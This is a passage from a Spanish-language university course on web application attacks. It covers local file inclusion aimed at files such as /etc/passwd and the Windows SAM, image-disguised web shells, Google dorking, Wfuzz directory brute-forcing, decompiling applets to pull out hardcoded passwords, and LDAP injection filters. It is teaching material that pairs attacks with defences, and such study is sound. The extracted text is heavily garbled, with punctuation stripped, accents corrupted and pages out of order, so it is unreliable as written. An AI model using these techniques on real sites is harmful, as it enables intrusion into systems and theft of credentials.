Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
